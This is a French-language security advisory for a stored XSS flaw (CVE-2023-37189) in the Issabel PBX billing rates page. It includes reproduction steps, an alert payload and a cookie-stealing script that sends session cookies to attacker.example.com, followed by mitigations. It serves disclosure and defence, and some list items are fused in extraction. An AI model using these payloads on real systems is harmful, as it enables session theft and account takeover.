
Une vulnérabilité de type Cross-Site Scripting stocké (XSS) existe dans Issabel PBX version 4.0.0-6 au niveau de la page de gestion des tarifs de facturation (index.php?menu=billing_rates).
| Champ | Détails |
|---|---|
| CVE ID | CVE-2023-37189 |
| Vulnérabilité | Cross-Site Scripting stocké (XSS) |
| Produit concerné | Issabel PBX 4.0.0-6 |
| URL affectée | index.php?menu=billing_rates |
| Champs vulnérables | Champs Name et Prefix dans le module Create New Rate |
| Sévérité | Moyenne (Score de base CVSS 3.1 : 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| Date de signalement | 07 juillet 2023 |
| Découvert par | Sahil Ojha |
| Testé sur | Windows |
| Page d'accueil du fournisseur | https://www.issabel.org/ |
| Source du logiciel | https://github.com/IssabelFoundation/issabelPBX |
Une vulnérabilité de type Cross-Site Scripting stocké (XSS) existe dans Issabel PBX version 4.0.0-6 sur la page de gestion des tarifs d'appel (index.php?menu=billing_rates).
Issabel PBX est une plateforme de communications unifiées open source largement utilisée, construite sur FreePBX/Asterisk. Sa fonctionnalité Billing → Rates permet aux administrateurs de définir des entrées de tarifs d'appel avec un nom et un préfixe personnalisés. En raison d'une désinfection insuffisante des entrées et d'un encodage de sortie inadéquat, un attaquant authentifié peut injecter du HTML ou du JavaScript arbitraire dans l'un ou l'autre champ. Le script malveillant est ensuite stocké de manière persistante dans la base de données de l'application et exécuté automatiquement dans le navigateur de tout utilisateur qui consulte ensuite la page des tarifs — y compris les autres administrateurs — sans aucune interaction supplémentaire.
Cette classe de vulnérabilité est particulièrement dangereuse dans les panneaux d'administration parce que :
Name et Prefix lors du rendu des valeurs stockées dans la page.Les charges utiles suivantes, lorsqu'elles sont saisies dans le champ Name ou Prefix du formulaire Create New Rate, démontrent la vulnérabilité :
Alerte basique (vérification de fonctionnalité) :
<script>alert('XSS')</script>
Vol de cookie de session (remplacez attacker.example.com par un serveur que vous possédez et que vous êtes autorisé à utiliser — ne ciblez jamais de vrais utilisateurs ou systèmes) :
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
Charge utile basée sur une image avec onerror (contournement du WAF) :
⚠️ Remarque : Ces charges utiles sont fournies strictement à des fins éducatives et de recherche en sécurité. Obtenez toujours une autorisation écrite appropriée avant de tester sur un système que vous ne possédez pas.
Connectez-vous à l'interface web d'Issabel PBX avec un compte administrateur.
Accédez à Reports → Billing → Rates (URL : index.php?menu=billing_rates).
Cliquez sur « Create New Rate » et saisissez une charge utile XSS spécialement conçue dans le champ Prefix ou Name.

Cliquez sur Enregistrer. La charge utile est maintenant stockée dans la base de données.
Tout utilisateur (y compris les autres administrateurs) qui visite la page des tarifs d'appel verra le script exécuté automatiquement dans son navigateur.


Le fournisseur et les administrateurs système sont invités à appliquer les contre-mesures suivantes :
htmlspecialchars() en PHP avec ENT_QUOTES). Il s'agit de la défense principale et la plus fiable contre le XSS.<, >, ", ', &) avant de stocker les données. Notez que la validation des entrées seule peut être contournée et ne doit pas être considérée comme le seul contrôle.Content-Security-Policy strict pour restreindre l'exécution de scripts en ligne.Ce dépôt et les informations qu'il contient sont fournis uniquement à des fins éducatives et de recherche en sécurité. L'auteur n'est pas responsable de tout usage abusif ou dommage causé par les informations fournies. Obtenez toujours une autorisation écrite explicite du propriétaire du système avant d'effectuer tout test de sécurité.
Découvert et signalé par Sahil Ojha